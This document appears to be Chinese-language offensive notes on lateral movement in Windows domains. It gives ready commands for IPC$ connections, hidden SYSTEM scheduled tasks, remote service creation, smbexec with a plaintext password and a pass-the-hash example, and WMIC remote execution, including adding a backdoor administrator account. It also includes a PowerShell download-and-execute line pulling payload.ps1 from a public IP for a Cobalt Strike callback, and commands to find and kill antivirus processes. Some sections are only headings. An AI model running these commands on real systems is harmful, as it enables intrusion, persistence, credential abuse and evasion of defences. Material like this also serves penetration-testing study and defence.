IPC配合计划任务横向移动
IPC$
IPC(Internet Process Connection) 共享“命名管道”的资源, 是为了实现进程间通信而开放的命名管道。
IPC 可以通过验证用户名和密码获得相应的权限, 通常在远程管理计算机和查看计算 机的共享资源时使
用。
通过 ipc$, 可以与目标机器建立连接。利用这个连接, 不仅可以访问目标机器中的文件, 进行上传、下载等
操作, 还可以在目标机器上运行其他命令, 以获取目标机器的目录结构、用户列 表等信息。
IPC$利用条件
1. 开启139,445
ipc$ 可以实现远程登录及对默认共享资源的访问, 而 139 端口的开启表示 NetBIOS 协议的应用。
通过 139、445(Windows2000) 端口, 可以实现对共享文件打印机的访问。
因此, 一般来讲,ipcs 需要 139、445 端口的支持。
2. 管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,
包括所有的逻辑盘 (c$、d$、e$ 等和系统目录 winnt 或 windows( adminS) 通过 ipc$, 可以实现对这些默认共享目录的访问
建立IPC$连接
net use \\192.168.41.30\ipc$ "密码" /user:administrator

查看建立的IPC连接
net use
IPC连接失败
失败原因:
用户名或密码错误
目标没有打开 ipc 默认共享
不能成功连接目标的 139、445 端口
常见错误:
错误号 5: 拒绝访问
错误号 51: Windows 无法找到网络路径, 即网络中存在问题。
错误号 53: 找不到网络路径, 包括 IP 地址错误、目标未开机、目标的 lanmanserver 服务未 启动目标有防火
墙 (端口过滤)
错误号 67: 找不到网络名, 包括 lanmanworkstation 服务未启动、ipcs 已被删除
错误号 1219: 提供的凭据与已存在的凭据集冲突。例如, 已经和目标建立了 ipcs, 需要在删除原连接后重新进
行连接。
错误号 1326: 未知的用户名或错误的密码
错误号 l792; 试图登录, 但是网络登录服务没有启动, 包括目标 NetLogon 服务未启动(连 接域控制器时会出
现此情况)。
错误号 2242: 此用户的密码已经过期°例如’目标机器设置了账号管理策略, 强制用户定 期修改密码°
横向移动基础命令
dir命令
在使用 netuse 命令与远程目标机器建立 ipcs 后, 可以使用 dir 命令列出远程主机中的文件
dir \\192.168.18.10\c$

tasklist命令
在使用 net use 命令与远程目标机器建立 ipcs 后, 可以使用 tasklist 命令的 /S、/U /P 参数列 出远程主机上运行的进程
tasklist /s 192.168.18.10

查看系统信息
net time \\ip

复制文件
copy 文件绝对路径 \\ip\c$

创建计划任务
schtasks /create /s IP 地址 /tn 计划任务名 /sc onstart /tr c:\ 文件 -w hidden -Executionpolicy Bypass -NoExit -File C:\shell.psl" /ru system /f

执行计划任务
schtasks /run /s IP 地址 /i /tn "计划任务名"

删除计划任务
schtasks /delete /s IP 地址 /tn "计划任务名" /f

清除IPC连接
net use \\IP /del /y
IPC配合系统服务横向移动
SC命令详解
获取到密码并着手横向时,却发现 Task Sheduler 服务没有启用。这时候我们就可以远程建立服务,然 后再启用服务来运行我们想要运行的命令。
描述:SC 是用来与服务控制管理器和服务进行通信的命令行程序。 用法:sc <server> [command] [service name] <option1> <option2>...
<server> 选项的格式为 "\\ServerName" 可通过键入以下命令获取有关命令的更多帮助: "sc [command]" 命令:
query----------- 查询服务的状态,或枚举服务类型的状态。
queryex--------- 查询服务的扩展状态,或枚举服务类型的状态。
start----------- 启动服务。
pause----------- 向服务发送 PAUSE 控制请求。
interrogate----- 向服务发送 INTERROGATE 控制请求。
continue-------- 向服务发送 CONTINUE 控制请求。
stop------------ 向服务发送 STOP 请求。
config---------- 更改服务的配置 (永久)。
description----- 更改服务的描述。
failure--------- 更改失败时服务执行的操作。
failureflag----- 更改服务的失败操作标志。
sidtype--------- 更改服务的服务 SID 类型。
privs----------- 更改服务的所需特权。
managedaccount-- 更改服务以将服务帐户密码标记为由 LSA 管理。
qc-------------- 查询服务的配置信息。
qdescription---- 查询服务的描述。
qfailure-------- 查询失败时服务执行的操作。
qfailureflag---- 查询服务的失败操作标志。
qsidtype-------- 查询服务的服务 SID 类型。
qprivs---------- 查询服务的所需特权。
qtriggerinfo---- 查询服务的触发器参数。
qpreferrednode-- 查询服务的首选 NUMA 节点。
qmanagedaccount- 查询服务是否将帐户与 LSA 管理的密码结合使用。
qprotection----- 查询服务的进程保护级别。
quserservice---- 查询用户服务模板的本地实例。
delete ----------(从注册表中) 删除服务。
create---------- 创建服务 (并将其添加到注册表中)。
control--------- 向服务发送控制。
sdshow---------- 显示服务的安全描述符。
sdset----------- 设置服务的安全描述符。
showsid--------- 显示与任意名称对应的服务 SID 字符串。
triggerinfo----- 配置服务的触发器参数。
preferrednode--- 设置服务的首选 NUMA 节点。
GetDisplayName-- 获取服务的 DisplayName。
GetKeyName------ 获取服务的 ServiceKeyName。
EnumDepend------ 枚举服务依赖关系。
使用sc横向
IPC 建立连接
net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator

复制文件
copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$

创建服务
sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"

开启服务
sc \\192.168.17.138 start test

删除服务
sc \\192.168.17.138 delete test
SMB远程执行命令横向移动
SMB介绍
SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协
议。除此之外,SMB 协议也被称为请求 - 回复协议。 客户端与服务器建立连接后, 客户端可以向服务器发 送 SMB 命令允许用户访问共享、打开、读取或者是写入文件。
利用条件
开启 445 端口
smbexec使用
smbexec 为 impacket 工具中的工具,操作简单,容易被杀,使用时无需先进行 IPC 连接
明文传递命令:
smbexec hsyy.com/administrator:123.com@192.168.213.163
hash 传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163
使用明文
输入命令
smbexec administrator:Admin@123@192.168.41.148

使用hash
smbexec -hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab administrator@192.168.41.148

WMIC远程执行命令横向移动
什么是WMI
WMI 是 Windows 在 Powershell 还未发布前,微软用来管理 Windows 系统的重要数据库工具,WMI 本身 的组织架构是一个数据库架构,WMI 服务使用 DCOM 或 WinRM 协议, 自从 PsExec 在内网中被严格监 控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移 动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。
WMIC 扩展 WMI(Windows Management Instrumentation,Windows 管理工具) ,提供了从命令行 接口和批处理脚本执行系统管理的支持。
简单来说:wmic 就是 wmic.exe,位于 windows 目录底下,是一个命令行程序。WMIC 可以以两种模式执行:交互模式 (Interactive mode) 和非交互模式(Non-Interactive mode),WMI 就是 Windows Management Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。
WMIC常见命令
wmic 命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用 wmi,可以修改普通用户的 ACL,不过修改用户的 ACL 也需要管理员权限,普通用户使用 wmic。以下命令均在 2008R2、2012R2、2016 上进行测试, 部分命令在虚拟机中测试不行。
wmic logon list brief 登录⽤户
wmic ntdomain list brief 域控机器
wmic useraccount list brief ⽤户列表
wmic share get name,path 查看系统共享
wmic service list brief |more 服务列表
wmic startup list full 识别开机启动的程序,包括路径
wmic fsdir "c:\\test" call delete 删除 C 盘下的 test 目录
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的 IP 地址和 MAC 地址
wmic qfe get description,installedOn 使⽤wmic 识别安装到系统中的补丁情况
wmic product get name,version 查看系统中安装的软件以及版本,2008R2 上执行后无反应。
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名 wmic useraccount where"name='Administrator'" call Rename admin 更改指定用户名
wmic bios list full | findstr /i "vmware" 查看当前系统是否是 VMWARE,可以按照实际情况进 行筛选 wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延迟是多少
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路径 wmic environment where "name='temp'" get UserName,VariableValue 获取 temp 环境变量 查询当前主机的杀毒软件
wmic process where "name like'%forti%'" get name wmic process where name="FortiTray.exe" call terminate
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 查询 windows 机器版本和服务位数和.net 版本
wmic os get caption
wmic os get osarchitecture
wmic OS get Caption,CSDVersion,OSArchitecture,Version
wmic product where "Name like'Microsoft .Net%'" get Name, Version 查询本机所有盘符
wmic logicaldisk list brief wmic logicaldisk get description,name,size,freespace /value 卸载和重新安装程序
wmic product where "name like'%Office%'" get name
wmic product where name="Office" call uninstall 查看某个进程的详细信息 (路径,命令⾏参数等)
wmic process where name="chrome.exe" list full
wmic process where name="frp.exe" get executablepath,name,ProcessId
wmic process where caption="frp.exe" get caption,commandline /value 更改 PATH 环境变量值,新增 c:\whoami
wmic environment where "name='path'and username='<system>'" set VariableValue="%path%;c:\whoami 查看某个进程的详细信息 -PID
wmic process list brief tasklist /SVC | findstr frp.exe
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,Crea tionDate 终⽌⼀个进程
wmic process where name ="xshell.exe" call terminate ntsd -c q -p 进程的 PID taskkill -im pid 获取电脑产品编号和型号信息
wmic baseboard get Product,SerialNumber
wmic bios get serialnumber 安装软件
wmic product get name,version
wmic product list brief
常见错误
1. 开启防火墙时,允许共享例外 错误:
代码 = 0x800706ba 说明 = RPC 服务器不可用。 设备 = Win32
2. 组策略阻止 administraotr 远程访问时 错误:
代码 = 0x80070005 说明 = 拒绝访问。 设备 = Win32
3.IP 安全策略阻止 135 时 错误:
代码 = 0x800706ba 说明 = RPC 服务器不可用。 设备 = Win32
4. 禁用 winmgmt 服务时 错误:
代码 = 0x80070422
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。
设备 = Win32
5. 拒绝 wbem 目录权限,无法使用 wmic 的
wmic调用cmd
以下命令需要管理员权限
执行命令并且输出
wmic /node:IP 地址 /user: 本地用户管理员 / 域管理员 /password: 密码 process call create "cmd.exe /c ipconfig >c:\ip.txt"
列出远程主机进程
wmic /node:IP 地址 /user: 本地用户管理员 / 域管理员 /password: 密码 process list brief
在远程系统上执行 bat 脚本
wmic /node:IP 地址 /user: 本地用户管理员 / 域管理员 /password: 密码 process call create c:\programdata\test.bat wmic /node:IP 地址 /user: 本地用户管理员 / 域管理员 /password: 密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
执行 powershell 上线
wmic /NODE:IP /user: 本地用户管理员 / 域管理员 /password: 密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps 脚本地址'))\""
利用powershell上线
使用 cs 生成 powershell 脚本

wmic 进行上线, 把 ps1 放到公网,可以使用 python 开启 http 服务提供下载 python -m http.server 9988
wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))\""

等待片刻上线

DCOM远程执行命令横向移动
DCOM介绍
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的 通信,不论它们是运行在局域网、广域网、还是 Internet 上。利用这个接口,客户端程序对象能够向网 络中另一台计算机上的服务器程序对象发送请求,使用 DCOM 进行横向移动的优势之一在于,在远程主 机上执行的进程将会是托管 COM 服务器端的软件
DCOM横向前提
1、需要关闭系统防火墙
2、必须拥有管理员权限
3、在远程主机上执行命令时,必须使用域管的 administrator 账户或者目标主机具有管理员权限的账户
获取DCOM列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
哈希传递攻击PTH
票据传递攻击PTT
黄金票据
前提:已经控制域控
条件:
域名(net config workstation)
SID (whoami /all 或 wmic useraccount get name,sid)
Krbtgt Hash
伪造的域管理员用户名
步骤:
查看是否有缓存票据 klist, 若有则清除票据 klist purge
白银票据
黄金票据和白银票价的区别:
获取权限不同:
金票: 伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票: 伪造的 ST,只能访问指定的服务,如 CIFS
认证流程的不同:
金票: 同 KDC 交互,但不同 AS 交互
银票: 不同 KDC 交互,直接访问 Server
加密方式不同:
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密